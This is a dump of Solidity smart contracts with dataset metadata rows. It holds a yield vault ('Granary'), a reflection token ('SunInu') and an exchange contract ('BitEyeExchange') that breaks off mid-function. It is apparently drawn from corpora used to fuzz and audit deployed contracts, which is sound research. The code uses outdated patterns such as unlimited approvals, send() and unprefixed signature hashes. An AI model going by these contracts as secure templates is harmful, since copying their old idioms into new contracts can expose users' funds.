function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//Uniswap-style Pair (LPT)
function getReserves() external view returns (uint112, uint112, uint32);
function decimals() external view returns (uint);
}
interface IRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Granary
{
using SafeMath for uint256;
constructor (address _w, address _m, address _e, uint8 _p, address _R, address[] memory _r, string memory _id, address[3] memory _v)
{
want=IERC20(_w);
mc=IMasterchef(_m);
earn=IERC20(_e);
allnums[0]=_p; //pid
router = _R;
route = _r;
id=_id;//GRAIN#ID
utvl=_v[0];
tvl_lpbtu=_v[1];
tvl_u=_v[2];
//Approvals
//mc to take what it may want
IERC20(address(want)).approve(address(mc),uint256(-1));
//router to sell what we earn
IERC20(address(earn)).approve(address(router),uint256(-1));
//router to add route[route.length-1]
IERC20(_r[_r.length-1]).approve(address(router),uint256(-1));
dao = 0x167D87A906dA361A10061fe42bbe89451c2EE584;
treasury = dao;
}
modifier DAO {require(msg.sender==dao,"Only E.L.I.T.E. D.A.O. Treasury can rescue treasures!");_;}
struct Elites {
address ELITE;
uint256 ELITES;
}
Elites[] public Eliteness;
function pushElite(address elite, uint256 elites) public DAO {
Eliteness.push(Elites({ELITE:elite,ELITES:elites}));
}
function pullElite(uint256 n) public DAO {
Eliteness[n]=Eliteness[Eliteness.length-1];Eliteness.pop();
}
//@xref takeFee=eliteness(msg.sender)?false:true;
function eliteness(address u) public view returns(bool)
{
if(Eliteness.length==0){return(true);}//When nobody is an Elite, everyone is an Elite.
for(uint i;i<Eliteness.length;i++){
if(IERC20(Eliteness[i].ELITE).balanceOf(u)>=Eliteness[i].ELITES)
{
return(true);
}
}
return(false);
}
function config(//address _w,
uint256 _mw, uint256 _wi, uint256 _pf, address _t, uint256 _df) public DAO
{
allnums[4] = _mw;
treasury = _t;
//Max 10%, 1e6 = 100%
require(_wi<1e5,"!wi: high");allnums[3] = _wi;
require(_pf<1e5,"!pf: high");allnums[2] = _pf;
require(_df<1e5,"!df: high");allnums[1] = _df;
}
uint8 RG = 0;
modifier rg {
require(RG == 0,"!RG");
RG = 1;
_;
RG = 0;
}
function isContract(address account) internal view returns (bool)
{
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
//Using getter functions to circumvent "Stack too deep!" errors
string public id;
function name() public view returns(string memory){return(string(abi.encodePacked("ftm.guru/GRAIN/", id)));}
function symbol() public view returns(string memory){return(string(abi.encodePacked("GRAIN#", id)));}
function decimals() public pure returns(uint256){return(18);}
uint256 public totalSupply;
IERC20 public want;
IERC20 public earn;
address public router;
address[] public route;
IMasterchef public mc;
bool public emergency = false;
address public dao;
address public treasury;
address public utvl;
address public tvl_lpbtu;
address public tvl_u;
//Using array to avoid "Stack too deep!" errors
uint256[7] public allnums = [
0, //pid 0 constant
1e3,//df 1 config, <= 10% (1e5), default 0.1%
1e4,//pf 2 config, <= 10% (1e5), default 1%
1e4,//wi 3 config, <= 10% (1e5), default 1%
1e4,//mw 4 config, default 1 (near zero)
0, //ct[0] 5 nonce, then constant
0 //ct[1] 6 up only
];
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function approve(address guy) public returns (bool) {
return approve(guy, uint(-1));
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public returns (bool)
{
require(balanceOf[src] >= wad,"Insufficient Balance");
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event Compounded(address indexed user, uint256 amount);
function deposit(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Please don't deposit.");
//require(isContract(msg.sender)==false,"Humans only");
//require(msg.sender==tx.origin,"Humans only");
//Some fancy math to take care of Fee-on-Transfer tokens
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
require(want.transferFrom(msg.sender,address(this),_amt), "Unable to onboard");
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty deposit");
mc.deposit(allnums[0],D);
//Some more fancy math to take care of Deposit Fee
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//require(M>mindep,"Deposit Too Low");
uint256 _mint = 0;
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
totalSupply += _mint;
uint256 _fee;
//allnums[1]===df, deposit fee
if(allnums[1]>0){_fee = eliteness(msg.sender)? 0 : (_mint.mul(allnums[1])).div(1e6);}//gas savings
if(_fee>0)//gas savings
{
balanceOf[treasury] += _fee;
emit Transfer(address(0), treasury, _fee);
}
balanceOf[msg.sender] += _mint.sub(_fee);
emit Transfer(address(0), msg.sender, _mint.sub(_fee));
//hardWork()
//allnums[4]===mw, min work : smallest harvest
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function withdraw(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
uint256 ts = totalSupply;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
// W = DepositsPerShare * SharesBurnt
uint256 W = (_amt.mul(mcbb)).div(ts);
mc.withdraw(allnums[0],W);
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty withdrawal");
require(want.transfer(msg.sender,D), "Unable to deboard");
//hardWork()
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function doHardWork() public rg
{
require(eliteness(msg.sender),"Elites only!");
salvage();
require(earn.balanceOf(address(this)) > allnums[4], "Not much work to do!");
work(msg.sender);
}
function salvage() public
{
//harvest()
mc.withdraw(allnums[0],0);
}
function work(address ben) internal
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
//has inputs from salvage() if this work is done via doHardWork()
IRouter R = IRouter(router);
IERC20 A = IERC20(route[route.length-1]);
uint256 vbb = (earn.balanceOf(address(this))).div(2);
R.swapExactTokensForTokensSupportingFeeOnTransferTokens(vbb,1,route,address(this),block.timestamp);
R.addLiquidity(address(A),
address(earn),
A.balanceOf(address(this)),
earn.balanceOf(address(this)),
1,
1,
address(this),
block.timestamp);
uint256 D = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
mc.deposit(allnums[0],D);
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//Performance Fee Mint, conserves TVL
uint256 _mint = 0;
//allnums[5] & allnums[6] are First & Latest Compound's timestamps. Used in info() for APY of AUM.
if(allnums[5]==0){allnums[5]=uint64(block.timestamp);}//only on the first run
allnums[6]=uint64(block.timestamp);
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
//allnums[2] === pf, Performance Fee
balanceOf[treasury] += (_mint.mul(allnums[2])).div(1e6);
//Worker Incentive Mint, conserves TVL
address worker = ben == address(this) ? treasury : ben;
//allnums[3] === wi, Worker Incentive
balanceOf[worker] += (_mint.mul(allnums[3])).div(1e6);
totalSupply += ((_mint.mul(allnums[2])).div(1e6)).add((_mint.mul(allnums[3])).div(1e6));
emit Transfer(address(0), treasury, (_mint.mul(allnums[2])).div(1e6));
emit Transfer(address(0), worker, (_mint.mul(allnums[3])).div(1e6));
}
function declareEmergency() public DAO
{
require(!emergency,"Emergency already declared.");
mc.emergencyWithdraw(allnums[0]);
emergency=true;
}
function revokeEmergency() public DAO
{
require(emergency,"Emergency not declared.");
uint256 D = want.balanceOf(address(this));
mc.deposit(allnums[0],D);
emergency=false;
}
function emergencyWithdraw(uint256 _amt) public rg
{
require(emergency,"Its not an emergency. Use withdraw() instead.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
uint256 ts = totalSupply;
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 W = (_amt.mul(vbb)).div(ts);
require(want.transfer(msg.sender,W), "Unable to deboard");
}
function rescue(address tokenAddress, uint256 tokens) public DAO returns (bool success)
{
//Generally, there are not supposed to be any tokens in this contract itself:
//Upon Deposits, the assets go from User to the MasterChef of Strategy,
//Upon Withdrawals, the assets go from MasterChef of Strategy to the User, and
//Upon HardWork, the harvest is reconverted to want and sent to MasterChef of Strategy.
//Never allow draining main "want" token from the Granary:
//Main token can only be withdrawn using the EmergencyWithdraw
require(tokenAddress != address(want), "Funds are Safu in emergency!");
if(tokenAddress==address(0)) {(success,) = dao.call{value:tokens}("");return success;}
else if(tokenAddress!=address(0)) {return IERC20(tokenAddress).transfer(dao, tokens);}
else return false;
}
//Read-Only Functions
//Useful for performance analysis
function info() public view returns (uint256, uint256, uint256, IMasterchef.UserInfo memory, IMasterchef.PoolInfo memory, uint256, uint256)
{
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
uint256 roi = aum*1e18/totalSupply;//ROI: 1e18 === 1x
uint256 apy = ((roi-1e18)*(365*86400)*100)/(allnums[6]-allnums[5]);//APY: 1e18 === 1%
return(aum,
roi,
apy,
mc.userInfo(allnums[0],address(this)),
mc.poolInfo(allnums[0]),
mc.totalAllocPoint(),
mc.pendingDefy(allnums[0],address(this)));
}
//TVL in USD, 1e18===$1.
//Source code Derived from ftm.guru's Universal On-chain TVL Calculator: https://ftm.guru/rawdata/tvl
function tvl() public view returns(uint256)
{
ITVL tc = ITVL(utvl);
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
return ((tc.p_lpt_tt_coin_usd(//bt, lp_tt, lp_bt_u, u
route[route.length-1],
address(want),
tvl_lpbtu,
tvl_u)).mul(aum)).div(1e18);
}
}
| 315,311 | 13,124 |
8967486592bdb55cc5299426e26225676a523728764518e43211ef0ec91caae8
| 26,383 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/38/385f9ba0d44e28a9df5ab49b08b7e7dd261dc5ea_SunInu.sol
| 4,556 | 16,744 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SunInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Sun Inu';
string private _symbol = 'SUN';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 60,409 | 13,125 |
18f6f7e13ed2846f94f3e6374e81aaf45a1485357a1e4010e720f0252b3added
| 11,149 |
.sol
|
Solidity
| false |
627794329
|
uni-due-syssec/efcf-framework
|
c3088c935f567dc7fc286475d6759204b6e44ef5
|
data/smartbugs-top-1000-balance/0x39fbd1140cd1fc298f00c3ea64b3591de94c67e7.sol
| 3,512 | 10,697 |
pragma solidity ^0.4.19;
//ERC20 Token
contract Token {
function totalSupply() public constant returns (uint);
function balanceOf(address _owner) public constant returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function transferFrom(address _from, address _to, uint _value) public returns (bool);
function approve(address _spender, uint _value) public returns (bool);
function allowance(address _owner, address _spender) public constant returns (uint);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint256) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint256) {
uint c = a / b;
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint256) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract BitEyeExchange is SafeMath {
mapping (address => mapping (address => uint256)) public balances;
mapping (bytes32 => bool) public traded;
mapping (bytes32 => uint256) public orderFills;
address public owner;
address public feeAccount;
mapping (address => bool) public signers;
mapping (address => uint256) public cancels;
mapping (bytes32 => bool) public withdraws;
uint256 public teamLocked = 300000000 * 1e18;
uint256 public teamClaimed = 0;
uint256 public totalForMining = 600000000 * 1e18;
uint256 public unmined = 600000000 * 1e18;
mapping (address => uint256) public mined;
address public BEY;
mapping (address => uint256) public miningRate;
bool public paused = false;
event Deposit(address token, address user, uint256 amount, uint256 balance);
event Withdraw(address token, address user, uint256 amount, uint256 balance);
event Trade(address baseToken, address quoteToken, uint256 volume, uint256 fund, uint256 nonce, address buyer, address seller);
event Cancel(address user, bytes32 orderHash, uint256 nonce);
event Claim(address user, uint256 amount);
function BitEyeExchange(address _feeAccount) public {
owner = msg.sender;
feeAccount = _feeAccount;
}
function transferOwnership(address _newOwner) public onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function setFeeAccount(address _newFeeAccount) public onlyOwner {
feeAccount = _newFeeAccount;
}
function addSigner(address _signer) public onlyOwner {
signers[_signer] = true;
}
function removeSigner(address _signer) public onlyOwner {
signers[_signer] = false;
}
function setBEY(address _addr) public onlyOwner {
BEY = _addr;
}
function setMiningRate(address _quoteToken, uint256 _rate) public onlyOwner {
miningRate[_quoteToken] = _rate;
}
function setPaused(bool _paused) public onlyOwner {
paused = _paused;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlySigner() {
require(signers[msg.sender]);
_;
}
modifier onlyNotPaused() {
require(!paused);
_;
}
function() external {
revert();
}
function depositToken(address token, uint amount) public {
balances[token][msg.sender] = safeAdd(balances[token][msg.sender], amount);
require(Token(token).transferFrom(msg.sender, this, amount));
Deposit(token, msg.sender, amount, balances[token][msg.sender]);
}
function deposit() public payable {
balances[address(0)][msg.sender] = safeAdd(balances[address(0)][msg.sender], msg.value);
Deposit(address(0), msg.sender, msg.value, balances[address(0)][msg.sender]);
}
function withdraw(address token, uint amount, uint nonce, address _signer, uint8 v, bytes32 r, bytes32 s) public {
require(balances[token][msg.sender] >= amount);
require(signers[_signer]);
bytes32 hash = keccak256(this, msg.sender, token, amount, nonce);
require(isValidSignature(_signer, hash, v, r, s));
require(!withdraws[hash]);
withdraws[hash] = true;
balances[token][msg.sender] = safeSub(balances[token][msg.sender], amount);
if (token == address(0)) {
require(msg.sender.send(amount));
} else {
require(Token(token).transfer(msg.sender, amount));
}
Withdraw(token, msg.sender, amount, balances[token][msg.sender]);
}
function balanceOf(address token, address user) public view returns(uint) {
return balances[token][user];
}
function updateCancels(address user, uint256 nonce) public onlySigner {
require(nonce > cancels[user]);
cancels[user] = nonce;
}
function getMiningRate(address _quoteToken) public view returns(uint256) {
uint256 initialRate = miningRate[_quoteToken];
if (unmined > 500000000e18){
return initialRate;
} else if (unmined > 400000000e18 && unmined <= 500000000e18){
return initialRate * 9e17 / 1e18;
} else if (unmined > 300000000e18 && unmined <= 400000000e18){
return initialRate * 8e17 / 1e18;
} else if (unmined > 200000000e18 && unmined <= 300000000e18){
return initialRate * 7e17 / 1e18;
} else if (unmined > 100000000e18 && unmined <= 200000000e18){
return initialRate * 6e17 / 1e18;
} else if(unmined <= 100000000e18) {
return initialRate * 5e17 / 1e18;
}
}
function trade(address[5] addrs,
